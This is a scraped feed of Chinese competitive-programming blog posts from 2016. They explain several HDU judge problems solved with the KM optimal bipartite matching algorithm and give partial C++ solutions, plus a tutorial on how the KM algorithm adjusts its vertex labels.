3718题目链接 题意：东西分类作业，有n个东西,k组，m个学生，不同种类的东西用不同的字母表示，相同种类的用同一个字母表示。不同学生和标准答案之间可能表示同一类东西用的字母不同，但是字母只是一个标号（But the LABEL of group doesn’t make sense and the LABEL is just used to indicate different groups. ） 给出事物分类的标准答案和每个学生的答案现在问每个学生的正确率是多少。 思路：用map\u003cchar,int\u003e把字母转化成点的标号。然后初始化权值为0. 对于每个学生，o(n)扫一遍统计出w。然后做一遍KM求最大正确数。从而得到正确率。 因为一个map忘记每次清空，WA了一次。。。2A.. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月03日 星期五 01时32分27秒 4File Name :code/hdu/3718.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34int n,k,m; 35char a[35][N]; 36int w[35][35]; 37map\u003cchar,int\u003emp1,mp2; 38int tot1,tot2; 39int lx[35],ly[35]; 40bool visx[35],visy[35]; 41int link[35]; 42int slk[35]; 43 44 45bool find( int u) 46{ 47 visx[u] = true; 48 for ( int v = 1 ; v \u003c= k ; v++) 49 { 50 if (visy[v]) continue; 51 int tmp = lx[u] + ly[v] - w[u][v]; 52 if (tmp==0) 53 { 54 visy[v] = true; 55 if (link[v]==-1||find(link[v])) 56 { 57 link[v] = u; 58 return true; 59 } 60 }else if (tmp\u003cslk[v]) slk[v] = tmp; 61 } 62 return false; 63} 64int KM() 65{ 66 ms(link,-1); 67 ms(lx,0); 68 ms(ly,0); 69 70 for ( int i = 1 ; i \u003c= tot2 ; i++) 71 for ( int j = 1 ; j \u003c= k ; j++) 72 lx[i] =","date":"2016-06-02","externalUrl":null,"permalink":"/2016/06/hdu-3718/","section":"Posts","summary":"hdu 3718题目链接 题意：东西分类作业，有n个东西,k组，m个学生，不同种类的东西用不同的字母表示，相同种类的用同一个字母表示。不同学生和标准答案之间可能表示同一类东西用的字母不同，但是字母只是一个标号（But the LABEL of group doesn’t make sense and the LABEL is just used to indicate different groups. ） 给出事物分类的标准答案和每个学生的答案现在问每个学生的正确率是多少。","tags":["KM","二分图最佳匹配"],"title":"hdu 3718 Similarity (二分图最优匹配，KM算法)","type":"post"},{"categories":["ACM"],"content":"hdu 3722题目链接 题意：n个串，a串放在b串前面的val值是“The score of sticking two cards is the longest common prefix of the second card and the reverse of the first card”.问如何放使得总的val最大。 思路：先暴力处理出每两个的权值。。2002001000的复杂度。。还是可以接受的。。 然后把每个串看成了一个点，由于一个串最多可以被放在前面一次，被放在后面一次，所以可以类比图论中的环的入度和出度为1. 然后跑一遍KM. 1A,开心。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月02日 星期四 23时37分55秒 4File Name :code/hdu/3722.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=205; 34int n; 35char st[N][1005]; 36int w[N][N]; 37int link[N]; 38int lx[N],ly[N]; 39bool visx[N],visy[N]; 40int slk[N]; 41int solve(string a,string b) 42{ 43 int la = a.length(); 44 int lb = b.length(); 45 int len = min(la,lb); 46 int res = 0 ; 47 for ( int i = 0 ; i \u003c len ; i++) 48 { 49 if (b[i]==a[la-1-i]) res++; 50 else break; 51 } 52 return res; 53} 54 55bool find( int u) 56{ 57 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003cendl; 58 visx[u] = true; 59 for ( int v = 1 ; v \u003c= n ; v++) 60 { 61 if (visy[v]) continue; 62 63 int tmp = lx[u] + ly[v] - w[u][v]; 64 if (tmp==0) 65 { 66 visy[v] = true; 67 if (link[v]==-1||find(link[v])) 68 { 69 link[v] = u ; 70 return true; 71 } 72 }else if (tmp\u003cslk[v]) slk[v] = tmp; 73 } 74 return false; 7","date":"2016-06-02","externalUrl":null,"permalink":"/2016/06/hdu-3722/","section":"Posts","summary":"hdu 3722题目链接 题意：n个串，a串放在b串前面的val值是“The score of sticking two cards is the longest common prefix of the second card and the reverse of the first card”.问如何放使得总的val最大。","tags":["KM","二分图最佳匹配","拆点"],"title":"hdu 3722 Card Game (有向环覆盖，拆点，二分图最佳匹配，KM算法)","type":"post"},{"categories":["ACM"],"content":"hdu 3435题目链接 题意：给你一张图，图上可能有多个哈密顿回路。叫你求出形成多个哈密顿回路的总距离最小值 思路：题意杀啊。。。什么鬼了。。。然后时间。。1000的数据。。n3复杂度。。。还多组数据。。。。不是很懂这个时间是怎么算的。。为毛才2600MS啊。。。。 做法同hdu 1853… 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月02日 星期四 20时13分25秒 4File Name :code/hdu/1853.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+4; 34int n,m; 35bool visx[N],visy[N]; 36int link[N]; 37int lx[N],ly[N]; 38int slk[N]; 39int w[N][N]; 40 41 42bool find( int u) 43{ 44 visx[u] = true; 45 for ( int v = 1 ; v \u003c= n ; v++) 46 { 47 if (visy[v]) continue; 48 int tmp = lx[u] + ly[v] - w[u][v]; 49 if (tmp==0) 50 { 51 visy[v] = true; 52 53 if (link[v]==-1||find(link[v])) 54 { 55 link[v] = u; 56 return true; 57 } 58 }else if (tmp\u003cslk[v]) slk[v] = tmp; 59 } 60 return false; 61} 62int KM() 63{ 64 ms(lx,0xc0); 65 ms(ly,0); 66 ms(link,-1); 67 68 for ( int i = 1 ; i \u003c= n ; i++) 69 for ( int j = 1 ; j \u003c= n ; j++) 70 lx[i] = max(lx[i],w[i][j]); 71 for ( int i = 1 ; i \u003c= n ; i++) if (lx[i]==-inf-1) return -1; //? 72 73 for ( int i = 1 ; i \u003c= n ; i++) 74 { 75 ms(slk,0x3f); 76 77 while (1) 78 { 79 ms(visx,false); 80 ms(visy,false); 81 82 if (find(i)) break; 83 84 int d = inf; 85 86 for ( ","date":"2016-06-02","externalUrl":null,"permalink":"/2016/06/hdu-3435/","section":"Posts","summary":"hdu 3435题目链接 题意：给你一张图，图上可能有多个哈密顿回路。叫你求出形成多个哈密顿回路的总距离最小值","tags":["KM","二分图最佳匹配","拆点"],"title":"hdu 3435 A new Graph Game (有向环覆盖，拆点，二分图最优匹配，KM算法)","type":"post"},{"categories":["ACM"],"content":"hdu 1853 题目链接 题意：一个带权有向图，要求找出若干的环，满足每个点恰好在一个环里，并且环的权值和最小……问最小权值和。 思路：没有思路，不知道怎么处理环的问题。于是去群里问了下。正确做法是拆点。 如果有一条边i-\u003ej,那么就连一条i-\u003ej’的边。 正确性： 对于满足条件的环，每个点的入度和出度均为1，我们可以把每个点拆成入点和出点，那么也就是说一个入点对应一个出点，反之亦然，那么这个问题就变成了一个二分图匹配问题， 然后这道题有重边，2A. 又一次体会到了拆点的神奇。。。这个大概算是需要慢慢积累的技巧吧。。像辅助线一样的。。。 还有体会到了环的模型竟然也可以转化成二分图匹配，真是厉害== 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月02日 星期四 20时13分25秒 4File Name :code/hdu/1853.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=205; 34int n,m; 35bool visx[N],visy[N]; 36int link[N]; 37int lx[N],ly[N]; 38int slk[N]; 39int w[N][N]; 40 41 42bool find( int u) 43{ 44 visx[u] = true; 45 for ( int v = 1 ; v \u003c= n ; v++) 46 { 47 if (visy[v]) continue; 48 int tmp = lx[u] + ly[v] - w[u][v]; 49 if (tmp==0) 50 { 51 visy[v] = true; 52 53 if (link[v]==-1||find(link[v])) 54 { 55 link[v] = u; 56 return true; 57 } 58 }else if (tmp\u003cslk[v]) slk[v] = tmp; 59 } 60 return false; 61} 62int KM() 63{ 64 ms(lx,0xc0); 65 ms(ly,0); 66 ms(link,-1); 67 68 for ( int i = 1 ; i \u003c= n ; i++) 69 for ( int j = 1 ; j \u003c= n ; j++) 70 lx[i] = max(lx[i],w[i][j]); 71 for ( int i = 1 ; i \u003c= n ; i++) if (lx[i]==-inf-1) return -1; //? 72 73 for ( int i = 1 ","date":"2016-06-02","externalUrl":null,"permalink":"/2016/06/hdu-1853/","section":"Posts","summary":"hdu 1853 题目链接 题意：一个带权有向图，要求找出若干的环，满足每个点恰好在一个环里，并且环的权值和最小……问最小权值和。","tags":["KM","二分图最佳匹配","拆点"],"title":"hdu 1853 Cyclic Tour (有向环覆盖，拆点，二分图最佳匹配，KM算法)","type":"post"},{"categories":["ACM"],"content":"hdu 2813 题目链接 题意：吕布有n个武将，曹操有m（m\u003e=n）个武将。给出k个关系，为吕布的某个武将和曹操的某个武将pk后会受到的伤害。吕布要求他所有n的武将都要上场，每个武将只能战斗一次，问如何安排，使得所有武将受到的伤害总和最小。 思路：裸的KM。 用map把武将名字变成点的编号。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月02日 星期四 19时17分19秒 4File Name :code/hdu/2813.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=205; 34int n,m,k; 35map\u003cstring,int\u003emp,mp2; 36int tot1,tot2; 37int w[N][N]; 38int lx[N],ly[N]; 39int link[N]; 40bool visx[N],visy[N]; 41int slk[N]; 42 43 44bool find( int u) 45{ 46 visx[u] = true; 47 for ( int v = 1 ; v \u003c= m ; v++) 48 { 49 if (visy[v]) continue; 50 int tmp = lx[u] + ly[v] - w[u][v]; 51 if (tmp==0) 52 { 53 visy[v] = true; 54 if (link[v]==-1||find(link[v])) 55 { 56 link[v] = u; 57 return true; 58 } 59 }else if (tmp\u003cslk[v]) slk[v] = tmp; 60 } 61 return false; 62} 63int KM() 64{ 65 ms(lx,0xc0); 66 ms(ly,0); 67 ms(link,-1); 68 69 for ( int i = 1 ; i \u003c= n ; i++) 70 for ( int j = 1 ; j \u003c= m ; j++) 71 lx[i] = max(lx[i],w[i][j]); 72 73 // for ( int i = 1 ; i \u003c= n ; i++) cout\u003c\u003c\"lx[i]:\"\u003c\u003clx[i]\u003c\u003cendl; 74 for ( int i = 1; i \u003c= n ; i++) 75 { 76 ms(slk,0x3f); 77 78 while (1) 79 { 80 ms(visx,false); 81 ms(visy,false); 82 83 if (find(i)) br","date":"2016-06-02","externalUrl":null,"permalink":"/2016/06/hdu-2813/","section":"Posts","summary":"hdu 2813 题目链接 题意：吕布有n个武将，曹操有m（m\u003e=n）个武将。给出k个关系，为吕布的某个武将和曹操的某个武将pk后会受到的伤害。吕布要求他所有n的武将都要上场，每个武将只能战斗一次，问如何安排，使得所有武将受到的伤害总和最小。","tags":["KM","二分图最佳匹配"],"title":"hdu 2813 One fihgt one (二分图最优匹配，KM算法)","type":"post"},{"categories":["ACM"],"content":"hdu 2282 题目链接 题意：n个盒子围成一个圈，给出n个盒子中每个盒子中的巧克力个数，巧克力的总数不超过n，从一个盒子中移动一块巧克力到相邻的盒子里称为one “move”，（由于围成一个圈，所以第1个和第n个盒子也是相邻的） 问最小的移动“move”数，使得每个盒子里最多有一快巧克力。 思路：先记录每块巧克力的位置，为了之后算w,然后将巧克力和盒子分别看做X,Y集合。。。建图。 然后KM 。。1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月01日 星期三 21时12分48秒 4File Name :code/hdu/2282.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=505; 34int n,m; 35int p[N]; //p[i]表示第i个巧克力的初始位置。 36int a[N]; 37int lx[N],ly[N]; 38bool visx[N],visy[N]; 39int link[N]; 40int slk[N]; 41int w[N][N]; 42 43void init() 44{ 45 m = 0 ; 46 ms(p,-1); 47} 48 49int calw(int x,int y) 50{ 51 int res = abs(x-y); 52 res = min(res,n-res); 53 //cout\u003c\u003c\"res:\"\u003c\u003cres\u003c\u003cendl; 54 return -res; 55} 56 57bool find( int u) 58{ 59 visx[u] = true; 60 61 for ( int v = 1 ; v \u003c= n ; v++) 62 { 63 if (visy[v]) continue; 64 int tmp = lx[u] + ly[v] - calw(p[u],v); 65 66 if (tmp==0) 67 { 68 visy[v] = true; 69 if (link[v]==-1||find(link[v])) 70 { 71 link[v] = u; 72 return true; 73 } 74 }else if (tmp\u003cslk[v]) slk[v] = tmp; 75 } 76 return false; 77} 78int KM() 79{ 80 ms(link,-1); 81 ms(lx,0xc0); 82 ms(ly,0); 83 84 for ( int i = 1 ; i \u003c= m ; i++) 85 for ( int j = 1 ; j \u003c= n ","date":"2016-06-02","externalUrl":null,"permalink":"/2016/06/hdu-2282/","section":"Posts","summary":"hdu 2282 题目链接 题意：n个盒子围成一个圈，给出n个盒子中每个盒子中的巧克力个数，巧克力的总数不超过n，从一个盒子中移动一块巧克力到相邻的盒子里称为one “move”，（由于围成一个圈，所以第1个和第n个盒子也是相邻的） 问最小的移动“move”数，使得每个盒子里最多有一快巧克力。","tags":["KM","二分图最佳匹配"],"title":"hdu 2282  Chocolate (二分图最优匹配,KM算法)","type":"post"},{"categories":["随笔杂谈"],"content":"可可可可可？","date":"2016-06-02","externalUrl":null,"permalink":"/2016/06/kkkkk/","section":"Posts","summary":"可可可可可？","tags":["算法竞赛"],"title":"kkkkk?","type":"post"},{"categories":["ACM"],"content":"hdu 3395题目链接 题意：鱼，一些鱼认为自己是汉子，然后他会去和他认为是妹子的鱼啪啪啪，然后被啪啪啪的妹子就会产卵？ 卵的val是它parent的val的异或。给出n，为鱼的数量，然后给出一个n*n的 mat,a[i][j]==1表示第i条鱼认为第j条鱼是妹子。问卵的最大val之和是多少。需要注意的是：每条鱼最多可以去和一个妹子啪，并且可以作为妹子被啪一次（这两个是独立的。。。） （Each fish can attack one other fish and can only be attacked once） 思路：二分图最佳匹配，KM算法，2A. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月01日 星期三 20时38分58秒 4File Name :code/hdu/3395.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35int w[N][N]; 36char a[N][N]; 37int val[N]; 38bool visx[N],visy[N]; 39int link[N]; 40int lx[N],ly[N]; 41int slk[N]; 42 43 44 45bool find( int u) 46{ 47 visx[u] = true; 48 49 for ( int v = 1 ; v \u003c= n ; v++) 50 { 51 if (visy[v]) continue; 52 53 int tmp = lx[u] + ly[v] - w[u][v]; 54 55 if (tmp==0) 56 { 57 visy[v] = true; 58 if (link[v]==-1||find(link[v])) 59 { 60 link[v] = u; 61 return true; 62 } 63 } 64 else if (tmp\u003cslk[v]) slk[v] = tmp; 65 } 66 return false; 67} 68int KM() 69{ 70 ms(lx,0); 71 ms(ly,0); 72 ms(link,-1); 73 74 for ( int i = 1 ; i \u003c= n ; i++) 75 for ( int j = 1 ; j \u003c= n ; j++) 76 lx[i] = max(lx[i],w[i][j]); 77 78 // for ( int i = 1 ; i \u003c= n ; i++) if (lx[i]==0) return -1; 79 80 fo","date":"2016-06-01","externalUrl":null,"permalink":"/2016/06/hdu-3395/","section":"Posts","summary":"hdu 3395题目链接 题意：鱼，一些鱼认为自己是汉子，然后他会去和他认为是妹子的鱼啪啪啪，然后被啪啪啪的妹子就会产卵？ 卵的val是它parent的val的异或。给出n，为鱼的数量，然后给出一个n*n的 mat,a[i][j]==1表示第i条鱼认为第j条鱼是妹子。问卵的最大val之和是多少。需要注意的是：每条鱼最多可以去和一个妹子啪，并且可以作为妹子被啪一次（这两个是独立的。。。） （Each fish can attack one other fish and can only be attacked once）","tags":["KM","二分图最佳匹配"],"title":"hdu 3395 Special Fish (二分图最佳匹配，KM算法)","type":"post"},{"categories":["ACM"],"content":"hdu 2426 题目链接 题意：n个学生，m个宿舍，每个学生住一个宿舍，然后n个学生给若干个宿舍打分，分数可正可0可负，学生不能住打的分为负的宿舍，或者没有打分的宿舍。问在满足上述条件的前提下，所有学生住的宿舍的分数之和最大是多少。如果无解输出-1. 思路：二分图最佳匹配。。。读漏题QAQ. 原来分数为负的房间是不能住的啊。。。。 考虑无解的情况，如果学生数比宿舍数多，无解。 如果一个学生不喜欢任何宿舍或者没给任何宿舍打分，无解。 然后KM. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月01日 星期三 19时35分04秒 4File Name :code/hdu/2426.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=505; 34int n,m,e; 35int w[N][N]; 36int link[N]; 37int lx[N],ly[N]; 38bool visx[N],visy[N]; 39int slk[N]; 40 41void init() 42{ 43 ms(w,0xc0); 44} 45 46 47bool find( int u) 48{ 49 visx[u] = true; 50 51 for ( int v = 1 ; v \u003c= m ; v++) 52 { 53 if (visy[v]) continue; 54 int tmp = lx[u] + ly[v] - w[u][v]; 55 if (tmp==0) 56 { 57 visy[v] = true; 58 if (link[v]==-1||find(link[v])) 59 { 60 link[v] = u ; 61 return true; 62 } 63 }else if (tmp\u003cslk[v]) slk[v] = tmp; 64 } 65 return false; 66} 67int KM() 68{ 69 ms(lx,0xc0); 70 ms(ly,0); 71 ms(link,-1); 72 73 for ( int i = 1 ; i \u003c= n ; i++) 74 for ( int j = 1 ; j \u003c= m ; j++) 75 lx[i] = max(lx[i],w[i][j]); 76 77 for ( int i = 1 ; i \u003c= n ; i++) if (lx[i]==-inf-1) return -1; 78 79 for ( int i = 1 ; i \u003c= n ; i++) 80 { 81 ms(slk,0x3f);","date":"2016-06-01","externalUrl":null,"permalink":"/2016/06/hdu-2426/","section":"Posts","summary":"hdu 2426 题目链接 题意：n个学生，m个宿舍，每个学生住一个宿舍，然后n个学生给若干个宿舍打分，分数可正可0可负，学生不能住打的分为负的宿舍，或者没有打分的宿舍。问在满足上述条件的前提下，所有学生住的宿舍的分数之和最大是多少。如果无解输出-1.","tags":["KM","二分图最佳匹配"],"title":"hdu 2426 Interesting Housing Problem (二分图最佳匹配，km算法)","type":"post"},{"categories":["ACM"],"content":"hdu 1533 题目链接 题意：给出一个n*m的maze，其中包含不超过一个人（用m表示），以及和人数相等的房子（用H表示），其他都是‘.’，表示可以经过的路径。人向一个方向移动花费代价1.问每个人都回到一个房子里的最小代价是多少。ps:每个格子是无限大的，也就是所有人可以同时踩在一个格子里。以及：路过一个房子可以不住，而只是“经过”。 思路：有了那两个条件，这题就是赤裸的二分图最优匹配了。建图也很easy.可以预处理下w,就是两点的哈密顿距离. 需要注意的是这道题求的是最小权值。那么做法就是将w取负，然后答案再次取负即可。 （还有其他方法处理，不过这种最easy应该？） （不过要保证初始化某些数组的时候要比所有的值小，所以不能是0，而应该是-inf) 以及：初始化数组为-inf的方法，可以memset(lx,0xc0,sizeof(lx)); 这样得到的-inf只和inf的绝对值差1，好评如潮。 0xc0,0xc0,0xc0,重要的常数说三遍 哦还有，不要忘记在每次find的时候记录X集合中的点，这是比hungary算法的find里多的一个步骤，并且是容易忘记的。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月01日 星期三 16时45分41秒 4File Name :code/hdu/1533.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n,m; 35char maze[N][N]; 36int tot1,tot2; 37int w[N][N]; 38int link[N]; 39bool visx[N],visy[N]; 40int lx[N],ly[N]; 41int slk[N]; 42struct point 43{ 44 int x,y; 45 46 point(){} 47 point(int _x,int _y): 48 x(_x),y(_y){}; 49 50 int dis(point b) 51 { 52 int res; 53 res = abs(x-b.x)+abs(y-b.y); 54 return -res; 55 } 56}p1[N*N],p2[N*N]; 57 58void init() 59{ 60 tot1 = tot2 = 0 ; 61 ms(w,0xc0); //初始化为负无穷。。。0xc0这个数吼啊。。。和inf的0x3f的绝对值就差1. 62 // cout\u003c\u003c\"-inf:\"\u003c\u003cw[1][1]\u003c\u003cendl; 63 // cout\u003c\u003c\"inf:\"\u003c\u003cinf\u003c\u003cend","date":"2016-06-01","externalUrl":null,"permalink":"/2016/06/hdu-1533/","section":"Posts","summary":"hdu 1533 题目链接 题意：给出一个n*m的maze，其中包含不超过一个人（用m表示），以及和人数相等的房子（用H表示），其他都是‘.’，表示可以经过的路径。人向一个方向移动花费代价1.问每个人都回到一个房子里的最小代价是多少。ps:每个格子是无限大的，也就是所有人可以同时踩在一个格子里。以及：路过一个房子可以不住，而只是“经过”。","tags":["KM","二分图最佳匹配"],"title":"hdu 1533 Going Home (二分图最佳匹配，KM算法)","type":"post"},{"categories":["ACM"],"content":"hdu 2255 题目链接 题意：传说在遥远的地方有一个非常富裕的村落,有一天,村长决定进行制度改革：重新分配房子。 这可是一件大事,关系到人民的住房问题啊。村里共有n间房间,刚好有n家老百姓,考虑到每家都要有房住（如果有老百姓没房子住的话，容易引起不安定因素），每家必须分配到一间房子且只能得到一间房子。 另一方面,村长和另外的村领导希望得到最大的效益,这样村里的机构才会有钱.由于老百姓都比较富裕,他们都能对每一间房子在他们的经济范围内出一定的价格,比如有3间房子,一家老百姓可以对第一间出10万,对第2间出2万,对第3间出20万.(当然是在他们的经济范围内).现在这个问题就是村领导怎样分配房子才能使收入最大.(村民即使有钱购买一间房子但不一定能买到,要看村领导分配的). 思路：这是一道裸的二分图最佳匹配题目。 如果G为加权二分图,则权值和最大的完备匹配称为最佳匹配. 解决二分图最佳匹配的常用算法为KM算法，该算法的前置技能点为匈牙利算法。 参考了以下文章： 关于KM算法的详细解释 km算法 求最大权二分匹配的KM算法 km算法模板 先粗浅得说下我对这个算法的理解，等A掉足够多的题目之后再回来总结。 因为才刚刚学习这个算法，可能有很多没理解透彻或者理解错误的地方，还望各位多多指教。 KM算法引入了一个交顶标的概念，lx[i]表示X集合中第i个点的顶标，ly[i]表示Y集合中第i个点的顶标。至于这个顶标具体代表什么先不用考虑，只需要知道，这个概念的引入是为了解决二分图最佳匹配的问题。 如果一组xi,yi,满足lx[xi]+ly[yi]-w[xi][yi]\u003e=0成立，那么我们称这组点为【可行的】 我们要时刻保证每组点都是可行的。 如果我们把所有满足lx[xi]+ly[yi]==w[xi][yi]的（xi,yi）导出，形成一个新的图，那么新图的最大匹配一定是原图的最佳匹配。原因也很简单：新图的权值和等于所有的顶标和，而根据【可行】点对的定义，最好的情况就是所有不等式都取了等号。 为了保证初始时lx[xi]+ly[yi]-w[xi][yi]对于任意xi,yi成立，不妨这样构造lx[],ly[]: lx[i]=max(w[i][j]),(1=\u003cj\u003c=ny) ，ly[i]=0; 注意是“不妨”，也就是初始值并不是唯一的，只不过这种构造方法在满足不等式的前提下相对简单。 然后就和hungary算法基本类似，从每一个X集合中的点开始寻找增广路。 但是。。但是哪有那么好的事情。。。就那么恰好满足lx[xi]+ly[yi]=w[xi][yi]了。。？ 没有满足的怎么办。 接下来就要说KM算法最关键的一步，调整顶标。 我们调整顶标的目的是让更多的点对满足式子lx[xi]+ly[yi]==w[xi][yi]，从而进入相等子图,直到图中存在仅由可行边组成的完全匹配为止. **调整的过程中仍然要保证所有点对都【可行】**也就是保证lx[xi]+ly[yi]\u003e=w[xi][yi]一直成立。 由于当前lx[xi]+ly[yi]-w[xi][yi]是比我们预期的大，所以我们要想办法减小。 具体方法为： 方法为：将所有在增广轨中（就是在增广过程中遍历到）的X方点的标号全部减去一个常数d，所有在增广轨中的Y方点的标号全部加上一个常数d，则对于图中的任意一条边(i, j, W)（i为X方点，j为Y方点）： 点对经过调整后分为四种情况： \u003c1\u003ei和j都在增广轨中：此时边(i, j)的(lx[i]+ly[j])值不变，也就是这条边的可行性不变（原来是可行边则现在仍是，原来不是则现在仍不是）； \u003c2\u003ei在增广轨中而j不在：此时边(i, 